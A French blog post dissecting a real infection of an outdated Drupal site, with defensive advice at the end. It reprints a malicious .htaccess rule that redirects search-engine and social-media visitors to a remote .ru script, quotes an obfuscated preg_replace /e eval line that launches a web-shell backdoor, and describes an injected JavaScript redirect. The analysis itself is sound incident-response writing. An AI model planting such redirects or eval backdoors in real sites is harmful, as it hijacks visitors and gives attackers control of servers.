Les articles de votre blog ici ? Inscrivez votre blog !

Comprendre les infections d’applications Web

Publié le 11 juin 2014 par Jpmonette

Il existe une infinité de vecteurs pour attaquer des systèmes informatiques. Bien que les nombreuses technologies du Web permettent à pratiquement n’importe qui de se créer un site Web en quelques étapes, elles sont tout autant des cibles de choix pour les pirates informatique.

Dans le cadre de mon travail, j’ai eu l’opportunité de rétablir plusieurs sites Web suite à des infections. Récemment, l’un de mes contacts à reçu des plaintes de ses clients comme quoi certaines pages de son site Web redirigeait vers des pages de publicité et de casino. Ce site Web (hébergé chez Dreamhost et utilisant une très vieille version de Drupal) avait été mis sur pied par un employé connaissant peu l’informatique et ignorant la majorité des bonnes pratiques associées au domaine. Bref, après quelques minutes à analyser l’application, il m’était très évident que l’application avait été infectée jusqu’à l’os.

Voici donc un cas réel qui pourra vous aider à comprendre comment les infections s’exécutent, dans quels types de fichiers elles peuvent se loger et quelles sont leurs objectifs.

Ah oui, je vous partagerai certains scripts infectés et autre. Je vous invite à en faire bon usage.

Infection de fichier .htaccess

Première remarque faite: plusieurs fichiers .htaccess ont été créés et modifiés. À leur ouverture, on ne voit absolument rien (dans certains éditeurs ;o) ). Évidemment, une technique ultra-simpliste a été utilisée pour obfusquer le contenu.

Si on creuse un peu plus, on réalise assez vite que les deux barres de défilements permettent d’afficher du code caché dans les marges. En voici le contenu (suite à un petit nettoyage du code):

<IfModule mod_rewrite.c>  
    RewriteEngine On

    RewriteCond %{HTTP_REFERER} ^.*(duckduckgo|ask|google|dogpile|archive|clusty|mahalo|mywebsearch|blekko|lycos|webcrawler|info|infospace|search|excite|goodsearch|altavista|live|msn|aol|yahoo|youtube|wikipedia|infoseek|bing|facebook|twitter|myspace|linkedin|flickr|deviantart|livejournal|tagged|badoo|mylife|ning|pinterest)\.(.*)

    RewriteRule ^(.*)$ http://**.ru/castfilter.cgi?8 [R=301,L]
</IfModule>

ErrorDocument 500 http://**.ru/castfilter.cgi?8

Qu’est-ce que cette logique exécute? Très simple:

  1. RewriteEngine active le module mod_rewrite afin de faire de la ré-écriture d’URL;
  2. RewriteCond recherche dans le référant du visiteur s’il provient d’un moteur de recherche (Google, Ask, DuckDuckGo…), d’un réseau social (Facebook, Myspace, Twitter..) ou autre;
  3. RewriteRule redirige la requête à un script CGI sur un serveur distant si l’une des valeurs a été retrouvée dans le référant;
  4. ErrorDocument définit la page d’erreur pour les erreurs de type 500 à un script CGI.

Pour faire simple, toute personne qui cliquera sur un lien menant au site Web en question (en provenance de Google, Facebook et autres) sera redirigée vers le script CGI distant, qui décidera vers où l’internaute sera redirigé. Si un utilisateur inscrit l’adresse directement dans la barre d’adresse (par exemple les habitués du site ou l’administrateur), il ne remarquera absolument rien, car sa provenance est directe.

Ceci donnera donc carte blanche à votre attaquant de définir à quelle page les utilisateurs distants accéderont. Clients actuels ou clients potentiels, partenaires d’affaires et autres.

Tout dépendamment de votre domaine d’affaires, ceci peut s’avérer très gênant. Imaginez le scénario: vous avez un site Web avec comme publique cible les enfants de 7 à 10 ans. Un enfant clique sur un lien vers votre site et tombe sur un site pornographique.

“Backdoor” PHP

Second remarque: les “backdoor” PHP. Un Backdoor est un script déployé sur un système permettant d’y avoir accès à l’insu de son auteur. Dans le cas suivant, il y avait plusieurs fichiers suspects dans l’arborescence de l’application contenant ces types d’infection.

Si on ouvre le fichier, on réalise rapidement que la technique d’obfuscation est un peu plus « fine » que la précédente (voir les scripts dans ce Gist). Le script PHP retrouvé peut être décomposé en trois niveaux:

  1. Contenu complet du fichier — script backdoor compressé;
  2. Contenu partiel du fichier — format partiellement lisible;
  3. Contenu partiel du fichier décompressé — contient la source du “backdoor”.

Le code en question s’exécute (la première section) lorsqu’un utilisateur accède à la page (dans ce cas, c’est http://example.com/wp-conf.php) et que le paramètre GET t2348n est défini. Si tel est le cas, le script exécute ce code:

preg_replace("/.*/e", "\x65\x76\x61...", ".");

Voici la « fameuse » section un peu plus complexe. Cette fonction analyse la chaîne avec l’expression régulière /.*/e  — la partie /.*/ signifie « correspondre à tout ». Le modificateur e sert à exécuter la fonction eval() sur la chaîne retrouvée. Dans ce cas, toute la chaîne correspond à l’expression régulière, donc elle sera traitée au complet par la fonction eval().

Le code exécutera donc les deux étapes suivantes:

  1. Évaluationde la requête obfusquée gzinflate(base64_decode(…));
  2. Évaluation du résultat de la fonction obfusquée (disponible dans le Gist).

Vous y trouverai donc le script PHP du backdoor. Je ne l’analyserai pas en détails: ce n’est pas le but de cet article.

Cependant, si on survole rapidement le code, celui-ci semble correspondre à un rootkit nommé WSO Web Shell, permettant à l’attaquant de faire pratiquement tout ce qui est possible sur votre serveur avec les droits de votre utilisateur. Pour vous donner une petite idée, il est possible de:

  • spammerau nom du serveur;
  • dumperle contenu de la base de données;
  • insérer/modifier/supprimer de nouveaux fichiers;
  • pire, pire et pire encore.

Ce type d’infection peut affecter tous les fichiers PHP. Dans cet exemple, l’attaquant visait vraisemblablement à induire en erreur un administrateur utilisant Wordpress (dommage) — le fichier avait la chaîne wp- au début du nom du fichier.

Bref, il existait plusieurs autres formes de backdoor dans l’arborescence. Certains affectaient des fichiers personnalisé, des thèmes personnalisés ainsi que le noyau du CMS.

Infection JavaScript

Troisième exemple: il semble que l’attaquant aille également injecté du code malicieux dans certains fichiers HTML.

Le fichier d’exemple retrouvé (voir le Gist) effectue deux choses lorsqu’un utilisateur visite la page:

  1. Rediriger l’utilisateur après 2 secondes sur un site distantà l’aide d’une balise meta;
  2. Exécuterla commande document.write() pour afficher une image aléatoire.

La première opération vise vraisemblablement à rediriger l’utilisateur insouciant vers un site Web. Ceci peut permettre à l’attaquant d’afficher de la publicité à l’insu de l’utilisateur (et de faire de l’argent) ou exploiter tout type de vulnérabilité du navigateur ou des extensions installées sur l’ordinateur de l’internaute.

La seconde reconstruit une URL aléatoire d’image. Cette URL est ensuite utilisée par le code JavaScript pour afficher l’image sur le navigateur. Cette opération vise probablement à:

  • Faire une requête HTTP à un serveur distant en affichant une image, en prenant soin de générer une URL aléatoire pour éviter que celle-ci se charge à partir du cache;
  • Prendre une empreinte de l’utilisateur (adresse IP, navigateur, système d’exploitation et j’en passe…).

À considérer: bien que le HTML et le JavaScript puissent sembler inoffensif, il pourrait dans cette situation rediriger vos utilisateurs sur des sites indésirables, permettre à des attaquants d’attaquer des vulnérabilités potentielles des navigateurs de vos utilisateurs, utiliser le temps machine des visiteurs pour des botnet/bruteforce de hash et pire encore…

Comment se protéger?

Plusieurs techniques bien simple s’offrent à vous, notamment:

  • Avoir des mots de passe sécuritaire (et unique);
  • Mettre à jour vos applications système, Web et vos extensions (dans ce cas, le client utilisait une version ancestrale de Drupal avec plusieurs failles de sécurité connues);
  • Ne pas installer des thèmes / extensions / scripts de sources inconnues;
  • Effectuer des sauvegardes de vos données et de votre base de données.

Dans le cas du client, il était pratiquement impossible de rétablir le système en restant rentable — il aurait fallu énormément de temps pour passer toute l’architecture au peigne fin. Il est possible de faire des recherches à la masse, mais ne certifie en aucun cas qu’il ne reste plus du code malicieux (ou des failles exploitables). Également, le client n’avait aucune sauvegarde de ses données. La seule solution pour un retour à la normale rapide était de sauvegarder la base de données et de faire une installation fraîche du site Web, en prenant soin de vérifier la propreté des fichiers thèmes et extensions personnalisées. Le tout, sans oublier de donner quelques guides pour avoir de meilleures habitues technologiques.

La morale de toute cette histoire: respectez les principes de base en informatique et n’ayez pas peur de vous faire conseiller par des experts si vous souhaitez bénéficier des nombreux avantages qu’offrent les nouvelles technologies :)!